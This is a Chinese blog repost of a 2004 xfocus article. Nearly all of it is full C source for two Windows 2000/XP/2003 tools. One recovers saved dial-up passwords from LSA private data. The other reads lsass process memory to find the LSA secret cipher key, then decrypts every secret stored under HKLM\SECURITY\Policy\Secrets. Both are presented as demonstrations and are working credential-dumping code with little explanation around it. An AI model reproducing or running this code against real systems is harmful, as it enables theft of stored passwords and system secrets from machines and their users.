Chinaunix首页 | 论坛 | 博客
  • 博客访问: 107532
  • 博文数量: 16
  • 博客积分: 1443
  • 博客等级: 上尉
  • 技术积分: 180
  • 用 户 组: 普通用户
  • 注册时间: 2008-04-05 14:31
文章存档

2010年(3)

2009年(2)

2008年(11)

分类: WINDOWS

2008-04-17 22:48:53

x_dialupass.c
文章来源:xfocus  2004年11月15日

/*
演示还原NT平台上拨号连接的密码
可运行于windows 2000/xp/2003
原理基于分析dialupass v2.42

eyas at xfocus.org
http://www.xfocus.net
2004-10-01


FileName: x_dialupass.c
*/

#define WINVER 0x500
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <stdio.h>

#include <ras.h>
#include <raserror.h>
#include <Ntsecapi.h>
#include <Userenv.h>
#include <Sddl.h>

#pragma comment(lib,"Rasapi32.lib")
#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"UserEnv.lib")

unsigned char private_data[0x500];
int data_len;

unsigned char * get_real_pass(unsigned char *user, DWORD dwDialParamsUID)
{
    int i, j;
    unsigned char *p, szDialParamsUID[52], *pass=NULL;

    _snprintf(szDialParamsUID, sizeof(szDialParamsUID),
        "%d", dwDialParamsUID);

    p = private_data;

    for(i=0;i<data_len;i++)
    {
        if(strcmp(&p[i], szDialParamsUID) == 0 )
        {
            for(j=i;j<data_len;j++)
            {
                if(strcmp(&p[j], user) == 0 )
                {
                    pass = p + j + strlen(user) + 1;
                    break;
                }
            }
            break;
        }
    }

    return pass;
}

void main()
{
    LPRASENTRYNAME lpRasEntryName;
    LPRASDIALPARAMS lpRasDialParams;
    DWORD cb, nRet, i, cEntries;
    BOOL b;
    char szPhoneBook1[512], szPhoneBook2[512],
                    szUserName[128], szDomainName[128];
    DWORD dwSize, dwDialParamsUID, dwTmp;
    PSID pSid = NULL;
    SID_NAME_USE peUse;

    LSA_OBJECT_ATTRIBUTES lsa_object_attr;
    LSA_HANDLE lsa_handle;
    PLSA_UNICODE_STRING plsa_private_data;
    LSA_UNICODE_STRING lsa_keyname;
    NTSTATUS status;
    int ret;
    unsigned char *pass;
    WCHAR *sid;

    printf("dialup password recover tool for win 2k/xp/2003\n"
            "code by eyas at xfocus.org\n"
            "http://www.xfocus.net\n"
            "2004-10-01\n\n");

    //get current user's string sid

    dwSize = sizeof(szUserName);
    GetUserName(szUserName, &dwSize);
    dwSize = 0;
    dwTmp = sizeof(szDomainName);
    LookupAccountName(NULL, szUserName, pSid, &dwSize, szDomainName,
                    &dwTmp, &peUse);
    if(!dwSize)
    {
        printf("[-] LookupAccountName failed.\n");
        return;
    }
    pSid = (PSID)malloc(dwSize);
    LookupAccountName(NULL, szUserName, pSid, &dwSize, szDomainName,
                     &dwTmp, &peUse);
    ConvertSidToStringSidW(pSid, &sid);

    memset(&lsa_object_attr, 0, sizeof(lsa_object_attr));
    lsa_object_attr.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
    LsaOpenPolicy(0, &lsa_object_attr, 0x800, &lsa_handle);

    plsa_private_data = (PLSA_UNICODE_STRING)malloc(sizeof(LSA_UNICODE_STRING));
    plsa_private_data->Length = 0x500;
    plsa_private_data->MaximumLength = 0x500;
    plsa_private_data->Buffer = (PWSTR)malloc(0x500);

    lsa_keyname.MaximumLength = 0x200;
    lsa_keyname.Buffer = (PWSTR)malloc(0x200);
    wcscpy(lsa_keyname.Buffer,L"RasDialParams!");
    wcscat(lsa_keyname.Buffer, sid);
    wcscat(lsa_keyname.Buffer, L"#0");
    lsa_keyname.Length = wcslen(lsa_keyname.Buffer) * 2;

    //get current user's dialup info

    status = LsaRetrievePrivateData(lsa_handle,
        &lsa_keyname,
        &plsa_private_data);
    LsaClose(lsa_handle);
    if(status != 0)
    {
        printf("[-] LsaRetrievePrivateData failed: %d\n",
                     LsaNtStatusToWinError(status));
        return;
    }
    ret = WideCharToMultiByte(0, 0, plsa_private_data->Buffer,
                             plsa_private_data->Length,
        private_data, sizeof(private_data), 0, 0);
    if(ret == 0)
    {
        printf("[-] WideCharToMultiByte failed:%d\n", GetLastError());
        return;
    }
    data_len = ret;

    //get phone book name

    GetEnvironmentVariable("ALLUSERSPROFILE", szPhoneBook1,
                             sizeof(szPhoneBook1)-200);
    GetEnvironmentVariable("USERPROFILE", szPhoneBook2,
                             sizeof(szPhoneBook2)-200);
    strcat(szPhoneBook1,
        "\\Application Data\\Microsoft\\Network"
        "\\Connections\\pbk\\rasphone.pbk");
    strcat(szPhoneBook2,
        "\\Application Data\\Microsoft\\Network"
        "\\Connections\\pbk\\rasphone.pbk");

    lpRasEntryName = (LPRASENTRYNAME)GlobalAlloc(GPTR, sizeof(RASENTRYNAME));
    lpRasEntryName->dwSize = sizeof(RASENTRYNAME);
    cb = sizeof(RASENTRYNAME);
    if ((nRet = RasEnumEntries(NULL, NULL, lpRasEntryName, &cb, &cEntries))
        == ERROR_BUFFER_TOO_SMALL)
    {
        lpRasEntryName = (LPRASENTRYNAME)GlobalAlloc(GPTR, cb);
        lpRasEntryName->dwSize = sizeof(RASENTRYNAME);
    }

    // Calling RasEnumEntries to enumerate the phone-book entries

    nRet = RasEnumEntries(NULL, NULL, lpRasEntryName, &cb, &cEntries);

    if (nRet != ERROR_SUCCESS)
    {
        printf("[-] RasEnumEntries failed: Error %d\n", nRet);
        return;
    }

    for(i=0;i < cEntries;i++)
    {
        lpRasDialParams = malloc(sizeof(RASDIALPARAMS));
        strcpy(lpRasDialParams->szEntryName, lpRasEntryName->szEntryName);
        lpRasDialParams->dwSize = sizeof(RASDIALPARAMS);

        RasGetEntryDialParams(0, lpRasDialParams, &b);

        dwDialParamsUID = GetPrivateProfileInt(lpRasEntryName->szEntryName,
            "DialParamsUID", 0, szPhoneBook1);
        if(dwDialParamsUID == 0)
        {
            dwDialParamsUID = GetPrivateProfileInt(lpRasEntryName->szEntryName,
                                "DialParamsUID", 0, szPhoneBook2);
            if(dwDialParamsUID == 0)
            {
                printf("[-] Can't get DialParamsUID from PhoneBook.\n");
                return;
            }
        }

        pass = get_real_pass(lpRasDialParams->szUserName, dwDialParamsUID);

        printf(
            "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"
            "EntryName : %s\n"
            "UserName : %s\n"
            "PassWord : %s\n\n",
            lpRasEntryName->szEntryName,
            lpRasDialParams->szUserName,
            pass);

        free(lpRasDialParams);
        lpRasEntryName++;
    }
}



-=-=-=-=-=-=-=-=-=-= code end -=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-= x_dialupass2.cpp -=-=-=-=-=-=-=-=-=-=
/*
演示还原NT平台拨号连接密码

原理:直接从注册表中读取加密后的数据,解密之。

可运行于windows 2000/xp/2003平台,必须有权限读取注册表 "HKLM\SECURITY"。

eyas at xfocus.org
http://www.xfocus.net
2004-10-01
*/

#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "psapi.lib")

//抄袭tombkeeper的代码:)

#define FCHK(a) if (!(a)) {printf(#a " failed %d\n", GetLastError()); return
0;}

typedef struct _LSA_BLOB {
    DWORD cbData;
    DWORD cbMaxData;
    BYTE* pbData;
} LSA_BLOB;


typedef int (WINAPI *PSystemFunction005)(
    LSA_BLOB* pDataIn,
    LSA_BLOB* pDataKey,
    LSA_BLOB* pDataOut
);

PSystemFunction005 SystemFunction005;
DWORD dwFlag=0;


//来自lsadump2中的dumplsa.c

int myisprint (int ch)
{
    return ((ch >= ' ') && (ch <= '~'));
}
//来自lsadump2中的dumplsa.c

void
dump_bytes (unsigned char *p, size_t sz)
{
    char szDumpBuff[256];

    if(sz==0)
        return;

    while (sz > 16) {
        _snprintf (szDumpBuff, sizeof (szDumpBuff),
                   " %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X
%02X %02X %02X %02X %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n"
,
                   p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7],
                   p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15],
                   myisprint(p[0]) ? p[0] : '.',
                   myisprint(p[1]) ? p[1] : '.',
                   myisprint(p[2]) ? p[2] : '.',
                   myisprint(p[3]) ? p[3] : '.',
                   myisprint(p[4]) ? p[4] : '.',
                   myisprint(p[5]) ? p[5] : '.',
                   myisprint(p[6]) ? p[6] : '.',
                   myisprint(p[7]) ? p[7] : '.',
                   myisprint(p[8]) ? p[8] : '.',
                   myisprint(p[9]) ? p[9] : '.',
                   myisprint(p[10]) ? p[10] : '.',
                   myisprint(p[11]) ? p[11] : '.',
                   myisprint(p[12]) ? p[12] : '.',
                   myisprint(p[13]) ? p[13] : '.',
                   myisprint(p[14]) ? p[14] : '.',
                   myisprint(p[15]) ? p[15] : '.');
        printf ("%s", szDumpBuff);
        p+=16;
        sz -= 16;
    }

    if (sz) {
        char buf[17];
        int i = 0;
        int j = 16 - sz;
        memset (buf, 0, sizeof (buf));
        szDumpBuff[0] = 0;
        while (sz--) {
            _snprintf (szDumpBuff+strlen (szDumpBuff),
                       sizeof (szDumpBuff) - strlen (szDumpBuff),
                       " %02X", *p);
            if (myisprint (*p))
                buf[i++] = *p;
            else
                buf[i++] = '.';
            p++;
        }
        _snprintf (szDumpBuff+strlen (szDumpBuff),
                   sizeof (szDumpBuff)-strlen (szDumpBuff),
                   "%*s%s\n", j*3 + 2, "", buf);
        printf ("%s", szDumpBuff);
    }
}

DWORD search_LsapDbSecretCipherKey(BYTE **ppKey, DWORD pid)
{
    HANDLE hLsass, hLsasrv;
    DWORD dwRead, i, dwAddr;
    BYTE *pImage = NULL;
    MODULEINFO mod;
    BOOL bRet = FALSE;
    DWORD dwCount = 0, dwMaxCount=100;

    FCHK ( (hLsasrv = LoadLibrary("lsasrv.dll")) );

    FCHK ( GetModuleInformation(GetCurrentProcess(), (HMODULE)hLsasrv,
        &mod, sizeof(mod)) );

    FCHK ( hLsass = OpenProcess(PROCESS_VM_READ, FALSE, pid) );

    pImage = (BYTE*)malloc(mod.SizeOfImage);

    ReadProcessMemory(hLsass, (BYTE*)hLsasrv,
                            pImage, mod.SizeOfImage-0x10, &dwRead);

    *ppKey = (BYTE*)malloc(dwMaxCount*0x10);
    
    __try
    {
        for(i=0;i<mod.SizeOfImage;i++)
        {
            if( memcmp(&pImage[i], "\x10\x00\x00\x00\x10\x00\x00\x00", 8) == 0)
            {
                dwAddr = *(DWORD *)(&pImage[i+8]);
                if( ReadProcessMemory(hLsass, (LPCVOID)dwAddr,
                            &(*ppKey[dwCount*0x10]), 0x10, &dwRead) )
                {
                        dwCount++;
                }
            }
        }//end of for

    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        return dwCount;
    }

    return dwCount;
}

int main(int argc, char **argv)
{
    int ret,i,j;
    HMODULE hAdvApi32;
    HKEY hKeySecrets;
    HKEY hKey;
    DWORD dwType;
    char Data[0x500] = {0};
    BYTE *pKey;
    DWORD dwSize;
    LSA_BLOB LSADataIn;
    LSA_BLOB LSADataOut;
    LSA_BLOB LSADataKey;
    char szSecret[500];
    char szSubKey[0x500];
    DWORD dwErr, dwCount=0;

    if(argc!=2)
    {
        printf("Usage: %s \n", argv[0]);
        return 0;
    }


    FCHK ((hAdvApi32 = LoadLibrary("advapi32.dll")));
    FCHK ((SystemFunction005 = (PSystemFunction005)
           GetProcAddress (hAdvApi32, "SystemFunction005")) != NULL);
    
    FCHK ((RegOpenKeyEx (HKEY_LOCAL_MACHINE,
                      "SECURITY\\Policy\\Secrets",
                      0, KEY_READ, &hKeySecrets) == ERROR_SUCCESS))

    FCHK ( ( dwCount = search_LsapDbSecretCipherKey(&pKey, atoi(argv[1])) ) != 0
);
    printf("Search \"LsapDbSecretCipherKey\" return: %d\n", dwCount);

    for(j=0;j<dwCount;j++)
    {
        printf("LsapDbSecretCipherKey [%d]\n", j);
        dump_bytes(&pKey[j*0x10], 0x10);

        LSADataKey.cbData = LSADataKey.cbMaxData = 0x10;
        LSADataKey.pbData = &pKey[j*0x10];

        //search our target

        for (i=0; TRUE; i++)
        {
            dwErr = RegEnumKeyA (hKeySecrets, i, szSecret, sizeof (szSecret));
            if (dwErr != ERROR_SUCCESS)
                //

                // No More Secrets

                //

                break;

            printf("\n%s\n", szSecret);
            //open it

            _snprintf(szSubKey, sizeof(szSubKey),
                "SECURITY\\Policy\\Secrets\\%s\\CurrVal", szSecret);
            if (ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                                    szSubKey,
                                    0,
                                    KEY_READ,
                                    &hKey
                                    ) != ERROR_SUCCESS )
                continue;

            dwSize = sizeof(Data);
            FCHK ((ret = RegQueryValueEx(hKey,
                                "",
                                NULL,
                                &dwType,
                                (LPBYTE)Data,
                                &dwSize) == ERROR_SUCCESS ))

            LSADataIn.pbData = (BYTE *)Data + 0xC; //密文从第0xC位开始

            LSADataIn.cbData = dwSize-0xC;
            LSADataIn.cbMaxData = LSADataIn.cbData;

            //dump_bytes(LSADataIn.pbData, LSADataIn.cbData);


            LSADataOut.cbData = 0;
            LSADataOut.cbMaxData = 0;
            LSADataOut.pbData = NULL;

            SystemFunction005(&LSADataIn, &LSADataKey, &LSADataOut);
            if (LSADataOut.cbData == 0)
            {
                printf("null\n");
                continue;
            }

            FCHK ((LSADataOut.pbData = (BYTE*)malloc(LSADataOut.cbData) ) !=
NULL);
            LSADataOut.cbMaxData = LSADataOut.cbData;
            SystemFunction005(&LSADataIn, &LSADataKey, &LSADataOut);

            dump_bytes(LSADataOut.pbData, LSADataOut.cbData);
            free(LSADataOut.pbData);
        }//end of for

        printf("Press any key to use next \"LsapDbSecretCipherKey\", or Ctrl+C
to exit.\n"
);
        getchar();
    }

    if(pKey)
        free(pKey);
    return 0;
}

参考资源:

[1] http://

    2003-06-24 by Cmeptb

[2] http://

    2004-01-10 by ??

[3] http://homepage2.nifty.com/spw/software/rtrick/

    2004-01-05 by ???

[4] SAM的散列存储加密解密算法以及SYSKEY的计算
    http://www.xfocus.net/articles/200306/550.html

    2003-06-04 by flashsky at xfocus.org

-=-=-=-=-=-=-=-=-=-= code end -=-=-=-=-=-=-=-=-=-=

阅读(3960) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~